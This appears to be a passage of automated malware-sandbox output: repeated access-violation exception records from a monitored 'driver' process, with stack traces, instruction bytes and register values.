__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
